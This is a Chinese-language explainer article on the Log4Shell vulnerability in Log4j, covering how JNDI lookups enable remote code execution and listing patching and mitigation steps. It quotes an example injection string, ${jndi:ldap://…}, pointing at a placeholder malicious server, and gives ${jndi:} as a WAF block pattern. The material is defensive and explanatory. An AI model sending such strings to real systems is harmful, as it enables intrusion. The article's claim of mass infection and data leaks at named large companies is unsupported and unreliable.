Log4j 库中的严重漏洞:对数百万 Java 应用程序的威胁
2021年12月,信息安全界因发现流行的 Java 日志记录库 Log4j 中存在 严重漏洞 CVE-2021-44228 而震惊。该漏洞非正式名称为 Log4Shell,被认为是近年来最危险的漏洞之一。它影响了全球数千个应用程序和服务,从企业系统到云平台。
什么是 Log4j,为什么它很重要?
Log4j 是一个广泛使用的开源库,用于 Java 应用程序中的日志记录。它内置于数百万个项目中,包括 Apache Struts、Apache Tomcat、Elasticsearch、Minecraft 等。该漏洞允许攻击者通过向日志发送特制字符串,在服务器上远程执行任意代码 (RCE)。
Log4Shell 漏洞是如何工作的?
问题在于 JNDI(Java 命名和目录接口) 机制,Log4j 使用它从外部源替换变量。当库将类似 ${jndi:ldap://恶意服务器/漏洞利用} 的字符串写入日志时,它会尝试加载远程资源。这使攻击者能够:
- 在受害者服务器上执行任意代码。
- 窃取敏感数据(密码、密钥、令牌)。
- 完全控制服务器。
对开发者和企业的影响
该漏洞的 CVSS 评分为 10 分(满分 10 分)——最高严重级别。主要风险包括:
- 大型公司(Amazon、Twitter、Cloudflare)服务器大规模感染和数据泄露。
- 由于 Log4j 深度集成,无法完全追踪所有易受攻击的系统。
- 数十万个扫描机器人和恶意漏洞利用在公开领域出现。
如何保护:Java 开发者分步指南
Java 项目所有者必须立即采取措施。以下是关键操作:
- 将 Log4j 更新到 2.17.1 版本(或更高版本)。该漏洞已完全修复。旧版本(1.x)无法更新——需要迁移。
- 检查项目的依赖项。即使您不直接使用 Log4j,它也可能通过第三方库被引入。
- 配置 WAF(Web 应用程序防火墙) 以阻止包含
${jndi:}模式的恶意请求。 - 如果无法更新,临时禁用 JNDI 查找:在 Log4j 配置中设置
log4j2.formatMsgNoLookups=true。
如果您的项目已被入侵该怎么办?
如果您怀疑受到攻击,请立即:
- 将服务器与网络隔离。
- 检查日志中是否有可疑请求。
- 更改所有密码和访问密钥。
- 进行全面的安全审计。
推荐库
更多新闻